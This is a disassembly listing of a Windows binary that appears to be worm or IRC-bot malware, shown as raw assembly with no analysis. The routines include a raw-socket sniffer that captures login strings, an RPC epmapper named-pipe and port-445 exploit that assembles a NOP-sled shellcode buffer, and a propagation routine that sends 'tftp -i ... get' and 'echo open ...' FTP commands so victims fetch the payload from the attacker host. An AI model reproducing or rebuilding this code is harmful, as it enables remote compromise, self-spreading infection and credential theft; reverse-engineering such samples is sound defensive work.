		call	__alloca_probe
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	ds:dword_43C618	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEDB
		pop	ecx
		push	eax
		call	ds:dword_43C658	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	ds:dword_43C698	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_402754
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_426604 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402737
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_40D670
		add	esp, 14h


loc_402737:				; CODE XREF: sub_40267F+96j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_402754:				; CODE XREF: sub_40267F+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	ds:dword_44207C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	ds:dword_43C644	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027D9
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_4265C0 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027B5
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4027B5:				; CODE XREF: sub_40267F+114j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_4027D9:				; CODE XREF: sub_40267F+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_43C5C4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40285C
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_426578 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402838
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_40D670
		add	esp, 14h


loc_402838:				; CODE XREF: sub_40267F+197j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40285C:				; CODE XREF: sub_40267F+177j
		push	ebx
		mov	ebx, offset a_login ; ":.login"


loc_402862:				; CODE XREF: sub_40267F+21Bj
					; sub_40267F+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43C630	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402974
		cmp	[ebp+var_102AB], 6
		jnz	short loc_402862
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_402862
		lea	eax, [ebp+Str]
		push	offset SubStr	; "[PSNIFF]"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402862
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_402862
		mov	[ebp+arg_0], ebx


loc_4028D0:				; CODE XREF: sub_40267F+26Cj
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028F2
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D0
		jmp	loc_402862
; ---------------------------------------------------------------------------


loc_4028F2:				; CODE XREF: sub_40267F+262j
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_102A0]
		call	ds:dword_43C554	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_425C8C[eax*8]
		push	ds:off_425C68[eax*4]
		lea	eax, [ebp+Dest]
		push	offset unk_426528 ; Format
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402962
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_40D670
		add	esp, 14h


loc_402962:				; CODE XREF: sub_40267F+2C1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		jmp	loc_402862
; ---------------------------------------------------------------------------


loc_402974:				; CODE XREF: sub_40267F+20Ej
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		push	offset unk_4264E4 ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029BA
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4029BA:				; CODE XREF: sub_40267F+319j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050
sub_40267F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E0	proc near		; CODE XREF: sub_402DCE+28p

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_426B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_426B64 ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_4397BC
		push	45h
		mov	byte ptr [ebp+Source], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+Source+1]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Source]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_42306C	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4397B8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	ds:dword_43C6B8
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AA4
		cmp	eax, ebx
		jnz	short loc_402AAE


loc_402AA4:				; CODE XREF: sub_4029E0+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_43C6B8


loc_402AAE:				; CODE XREF: sub_4029E0+C2j
		cmp	eax, 5
		jz	short loc_402ABC
		cmp	eax, ebx
		jz	short loc_402ABC
		push	1
		pop	eax
		jmp	short loc_402ABE
; ---------------------------------------------------------------------------


loc_402ABC:				; CODE XREF: sub_4029E0+D1j
					; sub_4029E0+D5j
		xor	eax, eax


loc_402ABE:				; CODE XREF: sub_4029E0+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AC3	proc near		; CODE XREF: sub_402DCE+7Ap
					; sub_402DCE+15Ap

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_426B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_426B64 ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_4397BC
		pop	ecx
		mov	byte ptr [ebp+Source], al
		xor	eax, eax
		lea	edi, [ebp+Source+1]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Source]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_42306C	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		add	esp, 10h


loc_402B54:				; CODE XREF: sub_402AC3+AFj
		push	esi
		lea	eax, [ebp+Dest]
		push	esi
		push	eax
		call	ds:dword_43C558
		test	eax, eax
		jz	short loc_402B74
		push	7D0h
		call	ds:dword_423060	; Sleep
		jmp	short loc_402B54
; ---------------------------------------------------------------------------


loc_402B74:				; CODE XREF: sub_402AC3+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402AC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B7B	proc near		; CODE XREF: sub_402DCE+A9p
					; sub_402DCE+1E7p

Src		= byte ptr -3004h
Dst		= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	__alloca_probe
		push	esi
		push	edi
		push	offset byte_42E664 ; int
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEDB
		pop	ecx
		push	eax		; Str
		lea	eax, [ebp+Src]
		push	1000h		; int
		push	eax		; Dst
		call	sub_416BB9
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DCA
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_1F2D]
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C00:				; CODE XREF: sub_402B7B+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C50
		mov	esi, [ebp+var_4]
		push	30h		; Size
		lea	eax, [ebp+Dst]
		inc	esi
		push	ebx		; Src
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+esi+var_1FD4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C00
; ---------------------------------------------------------------------------


loc_402C50:				; CODE XREF: sub_402B7B+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C6B
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C72
; ---------------------------------------------------------------------------


loc_402C6B:				; CODE XREF: sub_402B7B+DCj
		cmp	[ebp+arg_C0], 3


loc_402C72:				; CODE XREF: sub_402B7B+EEj
		jnz	short loc_402C7D


loc_402C74:				; CODE XREF: sub_402B7B+E5j
		push	4
		push	offset dword_426B60
		jmp	short loc_402C84
; ---------------------------------------------------------------------------


loc_402C7D:				; CODE XREF: sub_402B7B:loc_402C72j
		push	4		; Size
		push	offset dword_426B5C ; Src


loc_402C84:				; CODE XREF: sub_402B7B+100j
		lea	eax, [ebp+var_1FE0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h		; Size
		push	offset dword_426694 ; Src
		push	eax		; Dst
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_CA4]
		push	offset dword_4269F8 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_C94]
		push	eax		; Dst
		call	_memcpy
		lea	edi, [esi+370h]
		push	3Ch		; Size
		push	offset off_426A0C ; Src
		lea	eax, [ebp+edi+var_1004]
		push	eax		; Dst
		call	_memcpy
		add	edi, 3Ch
		push	30h		; Size
		push	offset dword_426A4C ; Src
		lea	eax, [ebp+edi+var_1004]
		push	eax		; Dst
		call	_memcpy
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi		; Size
		mov	[ebp+var_E78], eax
		call	_malloc
		add	esp, 40h
		mov	ebx, eax
		push	esi		; Size
		push	0		; Val
		push	ebx		; Dst
		call	_memset
		lea	eax, [ebp+var_1004]
		push	edi		; Size
		push	eax		; Src
		push	ebx		; Dst
		call	_memcpy
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DCA:				; CODE XREF: sub_402B7B+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DCE	proc near		; CODE XREF: sub_407758+1E6p
					; DATA XREF: UPX0:off_429CB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
Dest		= byte ptr -138h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	__alloca_probe
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F3C
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40304C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+Dest]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_423080
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E53


loc_402E44:				; CODE XREF: sub_402DCE+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402AC3
		pop	ecx
		jmp	loc_40304C
; ---------------------------------------------------------------------------


loc_402E53:				; CODE XREF: sub_402DCE+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4BC
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B7B
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+Memory], eax
		jz	short loc_402EEB
		mov	edi, 186A0h
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		push	edi		; Size
		push	ebx		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_426648
		push	[ebp+var_4]
		call	ds:dword_42307C	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EDB
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+Memory]
		push	[ebp+var_4]
		call	ds:dword_423078
		test	eax, eax
		jnz	short loc_402EF9


loc_402EDB:				; CODE XREF: sub_402DCE+F3j
		push	esi		; Memory
		call	_free
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx
		pop	ecx


loc_402EEB:				; CODE XREF: sub_402DCE+B9j
		push	[ebp+var_4]
		call	ds:dword_423074
		jmp	loc_402E44
; ---------------------------------------------------------------------------


loc_402EF9:				; CODE XREF: sub_402DCE+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_423070
		push	[ebp+Memory]	; Memory
		mov	edi, eax
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_423074
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402AC3
		cmp	edi, 1
		pop	ecx
		jnz	loc_40305D
		jmp	loc_40304C
; ---------------------------------------------------------------------------


loc_402F3C:				; CODE XREF: sub_402DCE+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4BC
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40304C
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_43C698	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40304C
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_A0]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B7B
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+Memory], esi
		jnz	short loc_402FCE
		push	[ebp+var_4]
		jmp	short loc_403046
; ---------------------------------------------------------------------------


loc_402FCE:				; CODE XREF: sub_402DCE+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FE6


loc_402FE3:				; CODE XREF: sub_402DCE+22Aj
		push	esi
		jmp	short loc_40303F
; ---------------------------------------------------------------------------


loc_402FE6:				; CODE XREF: sub_402DCE+213j
		push	ebx
		push	48h
		push	offset dword_426648
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FE3
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+Memory]
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403027
		push	[ebp+Memory]
		jmp	short loc_40303F
; ---------------------------------------------------------------------------


loc_403027:				; CODE XREF: sub_402DCE+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		push	[ebp+Memory]	; Memory
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403050


loc_40303F:				; CODE XREF: sub_402DCE+216j
					; sub_402DCE+257j
		call	_free
		pop	ecx
		push	edi


loc_403046:				; CODE XREF: sub_402DCE+1FEj
		call	ds:dword_43C6B0	; closesocket


loc_40304C:				; CODE XREF: sub_402DCE+31j
					; sub_402DCE+80j ...
		xor	eax, eax
		jmp	short loc_4030BE
; ---------------------------------------------------------------------------


loc_403050:				; CODE XREF: sub_402DCE+26Fj
		call	_free
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket


loc_40305D:				; CODE XREF: sub_402DCE+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_426B78 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_403075:				; CODE XREF: sub_402DCE+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04F
		test	eax, eax
		pop	ecx
		jnz	short loc_403099
		push	1388h
		call	ds:dword_423060	; Sleep
		inc	ebx
		cmp	ebx, 6
		jl	short loc_403075
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------


loc_403099:				; CODE XREF: sub_402DCE+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6F
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_429CB8[eax]
		lea	eax, dword_429CB8[eax]


loc_4030BB:				; CODE XREF: sub_402DCE+2C9j
		push	1
		pop	eax


loc_4030BE:				; CODE XREF: sub_402DCE+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DCE	endp

; ---------------------------------------------------------------------------
		jmp	$+5
		push	0BB80h
		push	76Ch
		call	sub_41543F
		pop	ecx
		mov	ds:dword_4397C0, eax
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030DF	proc near		; CODE XREF: sub_403240+42Ap

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_4397C0
		push	eax
		call	ds:dword_43C618	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403219
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403219
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		mov	esi, offset byte_42E664
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEDB
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_4397EC
		push	[ebp+arg_0]
		call	sub_40AEDB
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403219
		push	1F4h
		call	ds:dword_423060	; Sleep
		push	esi
		push	offset aS_6	; "%s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40321D


loc_403219:				; CODE XREF: sub_4030DF+51j
					; sub_4030DF+67j ...
		xor	al, al
		jmp	short loc_40323B
; ---------------------------------------------------------------------------


loc_40321D:				; CODE XREF: sub_4030DF+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		mov	al, 1


loc_40323B:				; CODE XREF: sub_4030DF+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403240	proc near		; CODE XREF: UPX0:004037A4p
					; UPX0:004037C6p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
Src		= byte ptr -104h
var_103		= byte ptr -103h
Dst		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
